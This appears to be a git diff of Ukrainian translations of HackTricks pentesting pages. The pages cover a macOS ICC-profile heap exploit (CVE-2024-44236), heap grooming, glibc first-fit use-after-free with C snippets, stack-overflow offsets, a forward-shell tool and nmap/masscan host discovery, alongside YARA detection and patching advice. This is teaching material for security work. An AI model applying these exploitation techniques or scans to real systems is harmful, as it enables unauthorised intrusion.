t-SNE чудово підходить для візуального виявлення патернів. Він може виявити кластери, підкластери та аномалії, які інші лінійні методи (такі як PCA) можуть не виявити. Його використовували в дослідженнях кібербезпеки для візуалізації складних даних, таких як профілі поведінки шкідливого ПЗ або патерни мережевого трафіку. Оскільки він зберігає локальну структуру, він добре показує природні групування.
|
||||
t-SNE чудово підходить для візуального виявлення патернів. Він може виявляти кластери, підкластери та аномалії, які інші лінійні методи (такі як PCA) можуть не виявити. Його використовували в дослідженнях кібербезпеки для візуалізації складних даних, таких як профілі поведінки шкідливого ПЗ або патерни мережевого трафіку. Оскільки він зберігає локальну структуру, він добре показує природні групування.
|
||||
|
||||
Однак t-SNE є обчислювально важчим (приблизно $O(n^2)$), тому може вимагати вибірки для дуже великих наборів даних. Він також має гіперпараметри (перплексія, швидкість навчання, ітерації), які можуть впливати на вихідні дані – наприклад, різні значення перплексії можуть виявити кластери на різних масштабах. Графіки t-SNE іноді можуть бути неправильно інтерпретовані – відстані на карті не є безпосередньо значущими глобально (він зосереджується на локальному сусідстві, іноді кластери можуть з'являтися штучно добре відокремленими). Крім того, t-SNE в основному призначений для візуалізації; він не забезпечує простий спосіб проекції нових точок даних без повторного обчислення, і не призначений для використання як попередня обробка для прогнозного моделювання (UMAP є альтернативою, яка вирішує деякі з цих проблем з більшою швидкістю).
|
||||
Однак t-SNE є обчислювально важчим (приблизно $O(n^2)$), тому може вимагати вибірки для дуже великих наборів даних. Він також має гіперпараметри (перплексія, швидкість навчання, ітерації), які можуть впливати на вихід – наприклад, різні значення перплексії можуть виявити кластери на різних масштабах. Графіки t-SNE іноді можуть бути неправильно інтерпретовані – відстані на карті не є безпосередньо значущими глобально (він зосереджується на локальному сусідстві, іноді кластери можуть здаватися штучно добре відокремленими). Також t-SNE в основному призначений для візуалізації; він не забезпечує простий спосіб проекції нових точок даних без повторного обчислення, і не призначений для використання як попередня обробка для прогнозного моделювання (UMAP є альтернативою, яка вирішує деякі з цих проблем з більшою швидкістю).
|
||||
|
||||
<details>
|
||||
<summary>Приклад -- Візуалізація мережевих з'єднань
|
||||
@ -478,7 +477,7 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
---
|
||||
|
||||
### Розгляд надійності та безпеки – Отруєння та Атакуючі дії (2023-2025)
|
||||
### Робастність та безпекові міркування – Отруєння та Атакуючі Атаки (2023-2025)
|
||||
|
||||
Недавні дослідження показали, що **неконтрольовані навчальні моделі *не* є імунними до активних атакуючих**:
|
||||
|
||||
@ -496,7 +495,7 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
### Сучасні інструменти з відкритим кодом (2024-2025)
|
||||
|
||||
* **PyOD 2.x** (випущено у травні 2024 року) додав *ECOD*, *COPOD* та детектори з прискоренням на GPU *AutoFormer*. Тепер він постачається з підкомандою `benchmark`, яка дозволяє вам порівнювати 30+ алгоритмів на вашому наборі даних за **одним рядком коду**:
|
||||
* **PyOD 2.x** (випущено у травні 2024 року) додав *ECOD*, *COPOD* та детектори з прискоренням на GPU *AutoFormer*. Тепер він постачається з підкомандою `benchmark`, яка дозволяє порівнювати 30+ алгоритмів на вашому наборі даних за **одним рядком коду**:
|
||||
```bash
|
||||
pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
```
|
||||
@ -525,8 +524,8 @@ evaluate_print("Ensemble", y_test, anomaly_scores)
|
||||
|
||||
## Посилання
|
||||
|
||||
- [HDBSCAN – ієрархічне кластеризація на основі щільності](https://github.com/scikit-learn-contrib/hdbscan)
|
||||
- Chen, X. *та ін.* “Про вразливість неконтрольованого виявлення аномалій до отруєння даних.” *Симпозіум IEEE з безпеки та конфіденційності*, 2024.
|
||||
- [HDBSCAN – Ієрархічне кластеризація на основі щільності](https://github.com/scikit-learn-contrib/hdbscan)
|
||||
- Chen, X. *та ін.* “Про вразливість неконтрольованого виявлення аномалій до отруєння даних.” *IEEE Симпозіум з безпеки та конфіденційності*, 2024.
|
||||
|
||||
|
||||
|
||||
|
@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Корупція метаданих купи ➜ довільний запис ➜ ROP**
|
||||
В аллокаторі **`nano_zone`** за замовчуванням Apple, метадані для 16-байтових слотів знаходяться **безпосередньо після** вирівняного блоку 0x1000. Розміщуючи тег профілю в кінці такого блоку, 16 нульових записів знищують `meta->slot_B`. Після наступного `free`, отруєний вказівник ставиться в чергу в маленькому списку вільних, що дозволяє атакуючому **алокувати фейковий об'єкт за довільною адресою** і перезаписати вказівник vtable C++, що використовується sips, врешті-решт перенаправляючи виконання на ланцюг ROP, збережений у шкідливому буфері ICC.
|
||||
В аллокаторі **`nano_zone`** за замовчуванням Apple, метадані для 16-байтових слотів знаходяться **безпосередньо після** вирівняного блоку 0x1000. Розміщуючи тег профілю в кінці такого блоку, 16 нульових записів знищують `meta->slot_B`. Після наступного `free`, отруєний вказівник ставиться в чергу в маленькому списку вільних, що дозволяє атакуючому **алокувати фейковий об'єкт за довільною адресою** і перезаписати вказівник C++ vtable, що використовується sips, врешті-решт перенаправляючи виконання на ланцюг ROP, збережений у шкідливому буфері ICC.
|
||||
|
||||
### Швидкий генератор PoC (Python 3)
|
||||
```python
|
||||
@ -84,14 +84,14 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
* **Патч!** Переконайтеся, що хост працює на macOS ≥ 15.2 / 14.7.1 (або iOS/iPadOS ≥ 18.1).
|
||||
* Розгорніть правило YARA вище на поштових шлюзах та рішеннях EDR.
|
||||
* Видаліть або очистіть вбудовані ICC профілі за допомогою `exiftool -icc_profile= -overwrite_original <file>` перед подальшою обробкою ненадійних файлів.
|
||||
* Посиліть Preview/QuickLook, запускаючи їх у пісочницях "прозорості та модернізації" ВМ під час аналізу невідомого контенту.
|
||||
* Посиліть Preview/QuickLook, запустивши їх у пісочницях "прозорість та модернізація" ВМ під час аналізу невідомого контенту.
|
||||
* Для DFIR шукайте нещодавнє виконання `sips --verifyColor` або завантаження бібліотеки `ColorSync` пісочничними додатками в об'єднаному журналі.
|
||||
|
||||
## Посилання
|
||||
|
||||
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
|
||||
* Apple security updates HT213981 “Про вміст безпеки macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Переповнення купи - це як [**переповнення стеку**](../stack-overflow/index.html), але в купі. В основному це означає, що деякий простір було зарезервовано в купі для зберігання деяких даних, і **збережені дані були більшими за зарезервований простір.**
|
||||
|
||||
У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в частині купи, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживатися.
|
||||
У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в частині купи, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживати.
|
||||
|
||||
> [!TIP]
|
||||
> Щоб знайти зсуви переповнення, ви можете використовувати ті ж шаблони, що й у [**переповненнях стеку**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
@ -17,13 +17,13 @@
|
||||
|
||||
Однак у випадку переповнення купи використана пам'ять не є лінійною, а **використані частини зазвичай знаходяться в окремих позиціях пам'яті** (не одна біля одної) через **контейнери та зони**, які розділяють алокації за розміром, і через те, що **попередньо звільнена пам'ять використовується** перед алокацією нових частин. Це **ускладнює визначення об'єкта, який буде зіткненням з вразливим** до переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене.
|
||||
|
||||
Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання частин пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на частини очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці частини використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
|
||||
Одна з технік, що використовується для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання частин пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на частини очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці частини використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
|
||||
|
||||
Отже, у попередньому пості, де відбувається переповнення купи, щоб примусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити заповненість усіх вільних частин і створення нової сторінки**.
|
||||
|
||||
Щоб примусити це заповнення об'єктами певного розміру, **алокація поза лінією, пов'язана з iOS mach port**, є ідеальним кандидатом. Шляхом формування розміру повідомлення можна точно вказати розмір алокації `kalloc`, і коли відповідний mach port знищується, відповідна алокація буде негайно звільнена назад до `kfree`.
|
||||
|
||||
Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший вийшов**, що в основному означає, що якщо деякі заповнювачі звільнені, а експлуатація намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви.
|
||||
Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший вийшов**, що в основному означає, що якщо деякі заповнювачі звільнені, і експлуатація намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви.
|
||||
|
||||
### Example libc
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### Unsorted Bins
|
||||
|
||||
Коли ви звільняєте шматок пам'яті, який не є швидким шматком, він потрапляє до незасортованого контейнера. Цей контейнер діє як список, де нові звільнені шматки додаються на початок (до "голови"). Коли ви запитуєте новий шматок пам'яті, аллокатор дивиться на незасортований контейнер ззаду (до "хвоста"), щоб знайти шматок, який достатньо великий. Якщо шматок з незасортованого контейнера більший, ніж вам потрібно, він розділяється, при цьому передня частина повертається, а залишок залишається в контейнері.
|
||||
Коли ви звільняєте шматок пам'яті, який не є швидким шматком, він потрапляє до незасортованого контейнера. Цей контейнер діє як список, де нові звільнені шматки додаються на початок (до "голови"). Коли ви запитуєте новий шматок пам'яті, аллокатор дивиться на незасортований контейнер ззаду (до "хвоста"), щоб знайти шматок, який достатньо великий. Якщо шматок з незасортованого контейнера більший, ніж вам потрібно, він розділяється, при цьому передня частина повертається, а залишкова частина залишається в контейнері.
|
||||
|
||||
Приклад:
|
||||
|
||||
@ -24,7 +24,7 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins використовуються для малих обсягів пам'яті. На відміну від несортованих бінів, fastbins додають нові обсяги на початок, створюючи поведінку останній прийшов - перший вийшов (LIFO). Якщо ви запитуєте малий обсяг пам'яті, аллокатор витягне з голови fastbin.
|
||||
Fastbins використовуються для малих обсягів пам'яті. На відміну від несортованих бінів, fastbins додають нові обсяги на початок, створюючи поведінку останній прийшов - перший пішов (LIFO). Якщо ви запитуєте малий обсяг пам'яті, аллокатор витягне з голови fastbin.
|
||||
|
||||
Example:
|
||||
```c
|
||||
@ -49,18 +49,18 @@ d = malloc(20); // a
|
||||
1. Запитуваний розмір є **більшим за `tcache_max`** (0x420 на 64-біт за замовчуванням), *або*
|
||||
2. Відповідний бін tcache є **вже заповненим або очищеним вручну** (шляхом виділення 7 елементів і їх використання).
|
||||
|
||||
У реальних експлойтах ви зазвичай додасте допоміжну процедуру, таку як:
|
||||
У реальних експлойтах ви зазвичай додасте допоміжну рутину, таку як:
|
||||
```c
|
||||
// Drain the tcache for a given size
|
||||
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
|
||||
for(int i = 0; i < 7; i++) free(pool[i]);
|
||||
```
|
||||
Якщо tcache вичерпано, наступні звільнення потрапляють до несортованого бін і класична поведінка first-fit (пошук з хвоста, вставка в голову) може бути знову активована.
|
||||
Якщо tcache вичерпан, наступні звільнення потрапляють до несортованого бін і класична поведінка first-fit (пошук з хвоста, вставка з голови) може бути знову активована.
|
||||
|
||||
---
|
||||
### 🚩 Створення UAF з перекриттям з first-fit
|
||||
|
||||
Фрагмент нижче (перевірено на glibc 2.38) показує, як спліттер у несортованому біні може бути зловжито для створення 2 **перекриваючих вказівників** – потужного примітиву, який перетворює одне звільнення на запис-після-звільнення.
|
||||
Фрагмент нижче (перевірено на glibc 2.38) показує, як спліттер у несортованому біні може бути зловжито використаний для створення 2 **перекриваючих вказівників** – потужного примітиву, який перетворює одне звільнення на запис-після-звільнення.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -95,19 +95,19 @@ fwrite(C2, 1, 0x10, stdout); // prints Xs
|
||||
1. **Витягніть** tcache для цільового розміру.
|
||||
2. **Звільніть** шматок, щоб він потрапив у несортований бін.
|
||||
3. **Виділіть** трохи менший розмір – аллокатор розділяє несортований шматок.
|
||||
4. **Виділіть** знову – залишкова частина перекривається з існуючим використовуваним шматком → UAF.
|
||||
4. **Виділіть** знову – залишкова частина перекривається з існуючим шматком, що використовується → UAF.
|
||||
5. Перезапишіть чутливі поля (вказівники на функції, FILE vtable тощо).
|
||||
|
||||
Практичний приклад можна знайти у виклику *Setjmp* 2024 HITCON Quals, де цей точний примітив використовується для переходу від UAF до повного контролю над `__free_hook`.{{#ref}}
|
||||
Практичний приклад можна знайти в *Setjmp* виклику 2024 HITCON Quals, де цей точний примітив використовується для переходу від UAF до повного контролю над `__free_hook`.{{#ref}}
|
||||
../../../../references/2024_setjmp_firstfit.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
### 🛡️ Заходи захисту та зміцнення
|
||||
|
||||
* **Безпечне з'єднання (glibc ≥ 2.32)** захищає лише односпрямовані списки *tcache*/**fastbin**. Несортовані/малі/великі біни все ще зберігають сирі вказівники, тому перекриття на основі першого підходу залишаються життєздатними, якщо ви можете отримати витік купи.
|
||||
* **Шифрування вказівників купи та MTE** (ARM64) поки не впливають на x86-64 glibc, але прапори зміцнення дистрибутиву, такі як `GLIBC_TUNABLES=glibc.malloc.check=3`, призупинять виконання при несумісних метаданих і можуть зламати наївні PoC.
|
||||
* **Заповнення tcache при звільненні** (пропоновано у 2024 для glibc 2.41) ще більше зменшить використання несортованих; слідкуйте за майбутніми випусками під час розробки загальних експлойтів.
|
||||
* **Безпечне з'єднання (glibc ≥ 2.32)** захищає лише односпрямовані списки *tcache*/**fastbin**. Несортовані/малі/великі біни все ще зберігають сирі вказівники, тому перекриття на основі першого підходу залишаються життєздатними, якщо ви можете отримати витік з купи.
|
||||
* **Шифрування вказівників купи та MTE** (ARM64) поки не впливають на x86-64 glibc, але прапори зміцнення дистрибутиву, такі як `GLIBC_TUNABLES=glibc.malloc.check=3`, призупинять роботу при несумісних метаданих і можуть зламати наївні PoC.
|
||||
* **Заповнення tcache при звільненні** (запропоновано в 2024 для glibc 2.41) ще більше зменшить використання несортованих; слідкуйте за майбутніми випусками під час розробки загальних експлойтів.
|
||||
|
||||
---
|
||||
## Інші посилання та приклади
|
||||
@ -122,8 +122,8 @@ fwrite(C2, 1, 0x10, stdout); // prints Xs
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Можливо виділити деяку пам'ять, записати бажане значення, звільнити його, повторно виділити, і оскільки попередні дані все ще там, їх буде оброблено відповідно до нової очікуваної структури в шматку, що робить можливим встановлення значення для отримання прапора.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- У цьому випадку потрібно записати 4 всередині конкретного шматка, який є першим, що виділяється (навіть після примусового звільнення всіх з них). У кожному новому виділеному шматку його номер у масиві індексується. Потім виділіть 4 шматки (+ початково виділений), останній буде містити 4 всередині, звільніть їх і примусово повторно виділіть перший, який використовуватиме останній звільнений шматок, що містить 4 всередині.
|
||||
- 2024 HITCON Quals Setjmp write-up (Quarkslab) – практична атака на перекриття першого підходу / несортованого розподілу: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* write-up – зловживання розподілом несортованого біна для витоку libc та отримання перекриття: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
- У цьому випадку потрібно записати 4 всередині конкретного шматка, який є першим, що виділяється (навіть після примусового звільнення всіх з них). У кожному новому виділеному шматку його номер у масиві індексується. Потім виділіть 4 шматки (+ початково виділений), останній буде містити 4 всередині, звільніть їх і примусьте повторне виділення першого, яке використовуватиме останній звільнений шматок, що містить 4 всередині.
|
||||
- 2024 HITCON Quals Setjmp звіт (Quarkslab) – практична атака на перекриття першого підходу / несортованого розподілу: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* звіт – зловживання розподілом несортованого біна для витоку libc та отримання перекриття: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -27,9 +27,9 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Більше того, як тільки ви виявите, що існує вразливість стекового переповнення, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини _n_ з'являється точно один раз** як безперервна підпослідовність.
|
||||
|
||||
Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом.
|
||||
Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом.
|
||||
|
||||
Можна використовувати **pwntools** для цього:
|
||||
Для цього можна використовувати **pwntools**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -53,11 +53,11 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\
|
||||
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** в цьому вказівнику.
|
||||
|
||||
Однак в інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
||||
Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
||||
|
||||
### Ret2win
|
||||
|
||||
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** і **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
|
||||
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... техніки
|
||||
|
||||
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчаться виконанням довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
|
||||
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчать виконання довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -97,8 +97,7 @@ stack-shellcode/
|
||||
|
||||
### Приклад з реального світу: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Добра демонстрація того, чому **`sscanf` ніколи не слід довіряти для парсингу ненадійного вводу**, з'явилася в 2025 році в SSL-VPN пристрої SonicWall SMA100.
|
||||
Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та кінцеву точку з будь-якого URI, який починається з `/__api__/`:
|
||||
Добра демонстрація того, чому **`sscanf` ніколи не слід довіряти для парсингу ненадійного вводу**, з'явилася в 2025 році в SonicWall’s SMA100 SSL-VPN пристрої. Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та кінцеву точку з будь-якого URI, який починається з `/__api__/`:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
|
@ -81,7 +81,7 @@ toboggan -m nix.py -i
|
||||
```
|
||||
Щоб безпосередньо використовувати інтерактивну оболонку. Ви можете додати `-b` для інтеграції з Burpsuite і видалити `-i` для більш базового обгортки rce.
|
||||
|
||||
Ще одна можливість полягає у використанні реалізації вперед оболонки `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
Ще одна можливість полягає у використанні реалізації `IppSec` для форвардної оболонки [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
Вам просто потрібно змінити:
|
||||
|
||||
|
@ -12,8 +12,8 @@
|
||||
### ICMP
|
||||
|
||||
Це **найпростіший** і **найшвидший** спосіб дізнатися, чи активний хост.\
|
||||
Ви можете спробувати надіслати кілька **ICMP** пакетів і **очікувати відповіді**. Найпростіший спосіб - просто надіслати **echo request** і очікувати відповідь. Ви можете зробити це, використовуючи простий `ping` або `fping` для **діапазонів**.\
|
||||
Ви також можете використовувати **nmap** для надсилання інших типів ICMP пакетів (це уникне фільтрів для звичайних ICMP echo request-response).
|
||||
Ви можете спробувати надіслати кілька **ICMP** пакетів і **очікувати відповіді**. Найпростіший спосіб - просто надіслати **запит на ехо** і очікувати відповідь. Ви можете зробити це, використовуючи простий `ping` або `fping` для **діапазонів**.\
|
||||
Ви також можете використовувати **nmap** для надсилання інших типів ICMP пакетів (це уникне фільтрів для звичайних запитів-відповідей ICMP).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP Port Discovery
|
||||
|
||||
Ви також можете спробувати перевірити, чи є **UDP порт відкритим**, щоб вирішити, чи слід **звернути більше уваги** на **хост.** Оскільки UDP сервіси зазвичай **не відповідають** з **жодними даними** на звичайний порожній UDP запит, важко сказати, чи порт фільтрується або відкритий. Найпростіший спосіб вирішити це - надіслати пакет, пов'язаний з працюючим сервісом, і оскільки ви не знаєте, який сервіс працює, вам слід спробувати найбільш ймовірний на основі номера порту:
|
||||
Ви також можете спробувати перевірити, чи є **відкриті UDP порти**, щоб вирішити, чи слід **звернути більше уваги** на **хост.** Оскільки UDP-сервіси зазвичай **не відповідають** з **жодними даними** на звичайний порожній UDP-пробний пакет, важко сказати, чи порт фільтрується або відкритий. Найпростіший спосіб вирішити це - надіслати пакет, пов'язаний з працюючим сервісом, і оскільки ви не знаєте, який сервіс працює, вам слід спробувати найбільш ймовірний на основі номера порту:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
Запропонована раніше команда nmap протестує **топ 1000 UDP портів** на кожному хості в межах **/24** діапазону, але навіть це займе **>20хв**. Якщо потрібні **найшвидші результати**, ви можете використовувати [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Це надішле ці ці **UDP проби** на їх **очікуваний порт** (для діапазону /24 це займе лише 1 хв): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
Запропонована раніше команда nmap протестує **найкращі 1000 UDP портів** на кожному хості в межах **/24** діапазону, але навіть це займе **>20хв**. Якщо потрібні **найшвидші результати**, ви можете використовувати [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Це надішле ці **UDP запити** на їх **очікуваний порт** (для діапазону /24 це займе лише 1 хв): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP Port Discovery
|
||||
```bash
|
||||
@ -58,7 +58,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
../pentesting-wifi/
|
||||
{{#endref}}
|
||||
|
||||
## Виявлення хостів зсередини
|
||||
## Discovering hosts from the inside
|
||||
|
||||
Якщо ви всередині мережі, однією з перших речей, які ви захочете зробити, є **виявлення інших хостів**. Залежно від **того, скільки шуму** ви можете/хочете створити, можуть бути виконані різні дії:
|
||||
|
||||
@ -98,7 +98,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Active ICMP
|
||||
|
||||
Зверніть увагу, що техніки, описані в _Виявленні хостів ззовні_ ([_**ICMP**_](#icmp)), також можуть бути **застосовані тут**.\
|
||||
Зверніть увагу, що техніки, описані в _Виявлення хостів ззовні_ ([_**ICMP**_](#icmp)), також можуть бути **застосовані тут**.\
|
||||
Але, оскільки ви в **тій же мережі**, що й інші хости, ви можете робити **більше речей**:
|
||||
|
||||
- Якщо ви **ping** адреси **широкої трансляції підмережі**, ping повинен дійти до **кожного хоста**, і вони можуть **відповісти** **вам**: `ping -b 10.10.5.255`
|
||||
@ -109,7 +109,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
|
||||
Wake On Lan використовується для **включення** комп'ютерів через **мережеве повідомлення**. Магічний пакет, що використовується для включення комп'ютера, є лише пакетом, в якому вказано **MAC Dst**, а потім він **повторюється 16 разів** в одному пакеті.\
|
||||
Потім такі пакети зазвичай надсилаються в **ethernet 0x0842** або в **UDP-пакеті на порт 9**.\
|
||||
Якщо **не вказано \[MAC]**, пакет надсилається на **широкий ефір** (і широкомовний MAC буде тим, що повторюється).
|
||||
Якщо **не вказано \[MAC]**, пакет надсилається на **широкотрансляційний ethernet** (і широкотрансляційний MAC буде тим, що повторюється).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -123,7 +123,7 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
|
||||
- **Відкритий** порт: _SYN --> SYN/ACK --> RST_
|
||||
- **Закритий** порт: _SYN --> RST/ACK_
|
||||
- **Фільтрований** порт: _SYN --> \[НІ ВІДПОВІДІ]_
|
||||
- **Фільтрований** порт: _SYN --> \[NO RESPONSE]_
|
||||
- **Фільтрований** порт: _SYN --> ICMP повідомлення_
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP Scan
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** призначений для використання разом з **TCP (Transmission Control Protocol)** та **UDP (User Datagram Protocol)**. Його основна мета - полегшити транспортування телефонних даних через IP-мережі, відображаючи багато з надійних функцій, які є в **Signaling System 7 (SS7)**. **SCTP** є основним компонентом сімейства протоколів **SIGTRAN**, яке має на меті транспортувати сигнали SS7 через IP-мережі.
|
||||
